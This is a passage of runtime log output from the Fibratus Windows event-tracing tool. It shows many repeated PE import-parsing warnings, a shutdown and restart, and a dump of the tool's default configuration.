data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:02+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-11T14:49:03+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:235 +time=2025-11-11T14:49:04+01:00 level=info msg=stopping [System Registry Logger] trace processing source=etw/source.go:235 +time=2025-11-11T14:49:04+01:00 level=info msg=stopping [DNS Client Logger] trace processing source=etw/source.go:235 +time=2025-11-11T14:49:05+01:00 level=info msg=stopping [Kernel Audit API Calls Logger] trace processing source=etw/source.go:235 +time=2025-11-11T14:49:13+01:00 level=info msg=configuration file C:\Program Files\fibratus\config\fibratus.yml not found. Continuing with default settings... source=bootstrap/config.go:50 +time=2025-11-11T14:49:13+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:152 +time=2025-11-11T14:49:13+01:00 level=info msg=bootstrapping with pid 18060. Version: dev source=bootstrap/bootstrap.go:182 +time=2025-11-11T14:49:13+01:00 level=info msg=rendering config flags... + aggregator ..................... [ flush-period=>200ms flush-timeout=>4s] + alertsenders ................... [ mail=>[ content-type=>text/html to=>[] enabled=>false port=>25 use-template=>true] slack=>[ enabled=>false] eventlog=>[ verbose=>false enabled=>true] systray=>[ enabled=>true sound=>true quiet-mode=>false]] + api ............................ [ timeout=>15s transport=>localhost:8080] + config-file .................... C:\Program Files\fibratus\config\fibratus.yml + debug-privilege ................ true + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\cmd\Rules\*] from-urls=>[] enabled=>true] macros=>[ from-paths=>[C:\Fibratus\fibratus\cmd\Rules\Macros\*]]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + kevent ......................... [ serialize-envs=>true serialize-pe=>false serialize-threads=>false serialize-images=>false serialize-handles=>false] + kstream ........................ [ flush-interval=>1s enable-dns=>true max-buffers=>36 enable-net=>true enable-audit-api=>true enable-thread=>true stack-enrichment=>true enable-fileio=>true enable-registry=>true blacklist=>[ events=>[] images=>[]] buffer-size=>512 enable-image=>true enable-handle=>false enable-vamap=>true enable-mem=>true min-buffers=>16] + logging ........................ [ max-age=>0 formatter=>text max-size=>100 level=>info max-backups=>15 log-stdout=>true] + output ......................... [ amqp=>[ durable=>false routing-key=>fibratus url=>amqp://localhost:5672 timeout=>5s passive=>false delivery-mode=>transient exchange=>fibratus vhost=>/ exchange-type=>topic tls-insecure-skip-verify=>false enabled=>false] eventlog=>[ enabled=>false level=>info] elasticsearch=>[ template-name=>fibratus servers=>[http://127.0.0.1:9200] healthcheck=>true index-name=>fibratus trace-log=>false flush-period=>1s gzip-compression=>false bulk-workers=>1 enabled=>false timeout=>5s sniff=>false healthcheck-interval=>10s healthcheck-timeout=>5s] http=>[ enable-gzip=>false timeout=>5s enabled=>false endpoints=>[] method=>POST serializer=>json tls-insecure-skip-verify=>false] console=>[ format=>pretty enabled=>true template=> {{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Kparams }}) {{ .Callstack }} {{ .Sid }}]] + pe ............................. [ read-resources=>false read-symbols=>false enabled=>false read-sections=>false excluded-images=>[]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] replace=>[ enabled=>false] remove=>[ kparams=>[] enabled=>false] rename=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ skip-files=>true scan-timeout=>10s excluded-procs=>[] alert-via=>mail excluded-files=>[] alert-template=>[] enabled=>false fastscan=>true] source=bootstrap/bootstrap.go:183 +time=2025-11-11T14:49:14+01:00 level=info msg=system providers support detected source=etw/source.go:165 +time=2025-11-11T14:49:16+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:224 +time=2025-11-11T14:49:16+01:00 level=info msg=starting [System Registry Logger] trace processing source=etw/source.go:224 +time=2025-11-11T14:49:16+01:00 level=info msg=starting [DNS Client Logger] trace processing source=etw/source.go:224 +time=2025-11-11T14:49:16+01:00 level=info msg=starting [Kernel Audit API Calls Logger] trace processing source=etw/source.go:224 +time=2025-11-11T14:49:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:37+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:40+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:40+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:40+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:40+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:40+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:40+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:40+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:40+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:41+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: 